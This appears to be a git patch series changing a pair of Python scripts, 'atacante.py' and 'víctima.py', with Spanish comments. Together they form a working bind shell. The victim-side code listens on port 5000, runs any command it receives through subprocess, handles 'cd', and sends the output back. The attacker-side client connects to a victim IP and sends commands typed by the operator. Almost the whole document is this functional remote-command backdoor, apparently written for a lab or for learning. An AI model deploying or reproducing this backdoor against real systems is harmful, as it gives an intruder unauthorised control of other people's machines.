From 425a45fdfbcf4236ae26aead2daf805561443fae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jackson=20Mart=C3=ADnez?= <35273100+macksonjartinez@users.noreply.github.com> Date: Tue, 9 Jul 2024 23:03:05 -0400 Subject: [PATCH 1/3] Update atacante.py --- atacante.py | 58 +++++++++++++++++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 22 deletions(-) diff --git a/atacante.py b/atacante.py index 0644c23..440d9b4 100644 --- a/atacante.py +++ b/atacante.py @@ -1,33 +1,47 @@ from socket import socket +from subprocess import getoutput +from os import chdir, getcwd +from time import sleep +# Definimos la dirección y puerto, la direcion 0.0.0.0 hace referencia a que aceptamos conexiones de cualquier interfaz +server_address = ('0.0.0.0', 5000) -# Definimos la dirección y puerto del servidor (Siempre de la máquina víctima) -server_address = ('192.168.6.38', 5000) +# Creamos el socket (la conexión) +server_socket = socket() + +# Le pasamos la tupla donde especificamos donde escuchar +server_socket.bind(server_address) + +# Cantidad de clientes maximos que se pueden conectar: +server_socket.listen(1) + +# Esperamos a recibir una conexión y acceptarla: +client_socket, client_address = server_socket.accept() -# Creamos el socket cliente, ya que restablecemos la conexión a cada comando que se ejecute -client_socket = socket() -client_socket.connect(server_address) estado = True while estado: + # Recibimos el comando de la máquina atacante + comando = client_socket.recv(4096).decode() - # Solicitamos al usuario que introduzca un comando - comando_enviar = input("Introduce el comando que quieras enviar a la máquina víctima (o 'exit' para salir): ") - - - # Si el usuario introduce "exit", cerramos la conexión y salimos del bucle - if comando_enviar == 'exit': - # Le decimos al servidor que la conexion la cerramos: - client_socket.send(comando_enviar.encode()) - # Cerramos el socket, que se volverá a abrir al inicio del bucle: + # Si el cliente envía "exit", cerramos la conexión y salimos del bucle + if comando == 'exit': + # Cerramos la conexión con el cliente client_socket.close() + # Cerramos el socket servidor + server_socket.close() estado = False - else: - # Enviamos el comando a la máquina víctima: - client_socket.send(comando_enviar.encode()) - - # Esperamos a recibir la respuesta de la víctima y lo guardamos en la variable respuesta. - respuesta = client_socket.recv(4096) + + elif comando.split(" ")[0] == 'cd': + # Cambiamos de directorio de trabajo + chdir(" ".join(comando.split(" ")[1:])) + client_socket.send("ruta actual: {}".format(getcwd()).encode()) + + else : + # Ejecutamos el comando y obtenemos su salida: + salida = getoutput(comando) - # Imprimimos la respuesta; - print(respuesta.decode()) \ No newline at end of file + # Enviamos la salida a la máquina atacante + client_socket.send(salida.encode()) + + sleep(0.1) From 3cfb6161096fb98e6925e319da46860f2c36f8c6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jackson=20Mart=C3=ADnez?= <35273100+macksonjartinez@users.noreply.github.com> Date: Tue, 9 Jul 2024 23:03:31 -0400 Subject: [PATCH 2/3] =?UTF-8?q?Update=20v=C3=ADctima.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "v\303\255ctima.py" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/v\303\255ctima.py" "b/v\303\255ctima.py" index b99ff86..440d9b4 100644 --- "a/v\303\255ctima.py" +++ "b/v\303\255ctima.py" @@ -44,4 +44,4 @@ # Enviamos la salida a la máquina atacante client_socket.send(salida.encode()) - sleep(0.1) \ No newline at end of file + sleep(0.1) From e71558a269eed3ed3efc867fab811627c3e55216 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jackson=20Mart=C3=ADnez?= <35273100+macksonjartinez@users.noreply.github.com> Date: Tue, 9 Jul 2024 23:03:49 -0400 Subject: [PATCH 3/3] Update atacante.py --- atacante.py | 60 ++++++++++++++++++++--------------------------------- 1 file changed, 22 insertions(+), 38 deletions(-) diff --git a/atacante.py b/atacante.py index 440d9b4..a2dca93 100644 --- a/atacante.py +++ b/atacante.py @@ -1,47 +1,31 @@ from socket import socket -from subprocess import getoutput -from os import chdir, getcwd -from time import sleep -# Definimos la dirección y puerto, la direcion 0.0.0.0 hace referencia a que aceptamos conexiones de cualquier interfaz -server_address = ('0.0.0.0', 5000) - -# Creamos el socket (la conexión) -server_socket = socket() - -# Le pasamos la tupla donde especificamos donde escuchar -server_socket.bind(server_address) - -# Cantidad de clientes maximos que se pueden conectar: -server_socket.listen(1) - -# Esperamos a recibir una conexión y acceptarla: -client_socket, client_address = server_socket.accept() +# Definimos la dirección y puerto del servidor (siempre de la máquina víctima) +# Cambia esta línea a la dirección IP de la máquina Ubuntu (víctima) +server_address = ('10.0.0.4', 5000) +# Creamos el socket cliente, ya que restablecemos la conexión a cada comando que se ejecute +client_socket = socket() +client_socket.connect(server_address) estado = True while estado: - # Recibimos el comando de la máquina atacante - comando = client_socket.recv(4096).decode() - - # Si el cliente envía "exit", cerramos la conexión y salimos del bucle - if comando == 'exit': - # Cerramos la conexión con el cliente + # Solicitamos al usuario que introduzca un comando + comando_enviar = input("Introduce el comando que quieras enviar a la máquina víctima (o 'exit' para salir): ") + + # Si el usuario introduce "exit", cerramos la conexión y salimos del bucle + if comando_enviar == 'exit': + # Le decimos al servidor que la conexión la cerramos: + client_socket.send(comando_enviar.encode()) + # Cerramos el socket, que se volverá a abrir al inicio del bucle: client_socket.close() - # Cerramos el socket servidor - server_socket.close() estado = False - - elif comando.split(" ")[0] == 'cd': - # Cambiamos de directorio de trabajo - chdir(" ".join(comando.split(" ")[1:])) - client_socket.send("ruta actual: {}".format(getcwd()).encode()) - - else : - # Ejecutamos el comando y obtenemos su salida: - salida = getoutput(comando) + else: + # Enviamos el comando a la máquina víctima: + client_socket.send(comando_enviar.encode()) + + # Esperamos a recibir la respuesta de la víctima y la guardamos en la variable respuesta: + respuesta = client_socket.recv(4096) - # Enviamos la salida a la máquina atacante - client_socket.send(salida.encode()) - - sleep(0.1) + # Imprimimos la respuesta: + print(respuesta.decode())